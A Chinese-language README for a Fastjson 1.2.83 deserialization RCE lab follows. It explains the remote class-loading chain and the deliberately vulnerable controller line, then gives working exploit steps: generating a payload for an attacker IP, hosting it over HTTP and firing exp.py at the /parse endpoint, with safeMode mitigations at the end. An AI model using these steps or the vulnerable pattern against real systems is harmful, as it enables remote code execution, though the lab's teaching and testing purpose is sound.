免责声明：本靶场仅供授权环境下的安全研究、教学演示与防御建设使用。擅自对未授权目标进行测试可能违法，使用后果由使用者自行承担。
| 项目 | 内容 |
|---|---|
| CVE | CVE-2026-16723 (CVSS 9.0) |
| 影响版本 | Fastjson 1.2.68 ~ 1.2.83 |
| 漏洞类型 | 反序列化远程代码执行 (RCE) |
| 核心特点 | Gadget-free（不依赖任何第三方类库） |
| 完整 RCE 条件 | JDK 8 + Spring Boot Fat-JAR + SafeMode 关闭 |
Fastjson 1.2.83
Spring Boot fat-JAR 打包（内含 LaunchedURLClassLoader，利用链必要组件）
已修复关键行：ParseController 调用 JSON.parse() 前将线程 ClassLoader 切为 LaunchedURLClassLoader（Thread.currentThread().setContextClassLoader(ParserConfig.class.getClassLoader())），这是 @JSONType 探测路径能够远程加载类的必要前提
提供 /parse（JSON.parse）和 /parseObject（JSON.parseObject）两个解析端点
从源码构建 fat-JAR（需要 JDK 8 + Maven）：
git clone https://github.com/why-success/fastjson-rce-lab.git
cd fastjson-rce-lab
mvn clean package -DskipTests
构建产物在 target/fastjson-rce-lab.jar。
如果没有 Maven，也可以用项目自带的 Maven Wrapper（需要提前配置
mvnw）。
# 双击 start.bat
# 或命令行
java -Xmx256m -Xms64m -XX:MaxMetaspaceSize=128m -XX:+UseSerialGC -jar target\fastjson-rce-lab.jar --server.port=18080
chmod +x start.sh
./start.sh
# 或手动启动
ulimit -n 65536
java -Xmx256m -Xms64m -XX:MaxMetaspaceSize=128m -XX:+UseSerialGC -jar target/fastjson-rce-lab.jar --server.port=18080
关于
--server.port=18080：环境中可能存在SERVER__PORT等环境变量会覆盖application.properties中的端口配置，通过命令行参数强制指定可确保端口正确（命令行参数优先级最高）。
关于 JVM 参数：
-Xmx256m -XX:+UseSerialGC是为了在低内存虚机（如 Kali 2-4G）上正常运行，避免 JVM 初始化时 OOM。如果机器内存充足可以去掉。
curl http://127.0.0.1:18080/status
预期返回：
{
"fastjsonVersion": "1.2.83",
"safeMode": false,
"autoTypeSupport": false,
"vulnerable": true,
"javaVersion": "1.8.0_xxx"
}
safeMode: false 且 vulnerable: true 即为易受攻击状态。
1. 攻击者发送特制 JSON（@type 指向 jar:http 资源路径）
2. Fastjson checkAutoType() 将 typeName 转为资源路径 "typeName.replace('.', '/') + .class" 做探测
3. getResourceAsStream() 触发 LaunchedURLClassLoader → 发起 HTTP 请求拉取远程 JAR
4. ASM 扫描字节码，发现 @JSONType 注解 → 视为信任信号
5. 跳过危险基类检查 → loadClass() → defineClass()
6. 触发 <clinit> 静态初始化块 → RCE
// ParseController.java — /parse 端点
@PostMapping("/parse")
public Map<String, Object> parse(@RequestBody String body) {
// ⚠️ 这一行是关键：切换到 LaunchedURLClassLoader
Thread.currentThread().setContextClassLoader(ParserConfig.class.getClassLoader());
Object obj = JSON.parse(body);
// ...
}
没有这行 setContextClassLoader，Fastjson 使用系统默认 AppClassLoader，无法通过 jar:http:// 协议加载远程类。
git clone https://github.com/0x7eTeam/fastjson-1.2.83-rce.git
cd fastjson-1.2.83-rce
仓库自带的 poc/GenProbe.java 有两个兼容性问题已修复：
/bin/bash -c → 改为 Runtime.exec(String) 通用版本（Windows/Linux 都可用）"cmd /c xxx"，Linux 靶场直接用 "touch /tmp/pwned" 或 "bash -c xxx"完整攻击流程见 靶场测试完整指南.md（同目录下），包含：
# 在攻击机（或能编译 Java 的机器）上
cd fastjson-1.2.83-rce
javac -encoding UTF-8 -cp "poc/lib/*" -d poc/classes poc/GenProbe.java
java -cp "poc/classes;poc/lib/asm-9.6.jar;poc/lib/fastjson-1.2.83.jar" GenProbe KALI_IP 19090 "cmd /c calc"
# 将 poc/www/probe 拷到 Kali
# Kali 上启动 HTTP 托管
cd poc/www && python3 -m http.server 19090
# 重启靶场 → Kali 新终端打 exp
python3 poc/exp.py -u http://靶场IP:18080/parse -poc http://KALI_IP:19090/probe
# JVM 启动参数
-Dfastjson.parser.safeMode=true
// 代码配置
ParserConfig.getGlobalInstance().setSafeMode(true);
<dependency>
<groupId>com.alibaba.fastjson2</groupId>
<artifactId>fastjson2</artifactId>
<version>2.x</version>
</dependency>
Fastjson2 不受此漏洞影响。
com.alibaba:fastjson:1.2.83_noneautotype 构建版本| 方法 | 路径 | 说明 |
|---|
| GET | / | 靶场首页（HTML） |
| GET | /status | Fastjson 配置状态（JSON） |
| POST | /parse | JSON.parse(body) — 主要漏洞触发端点 |
| POST | /parseObject | JSON.parseObject(body) — 备用触发端点 |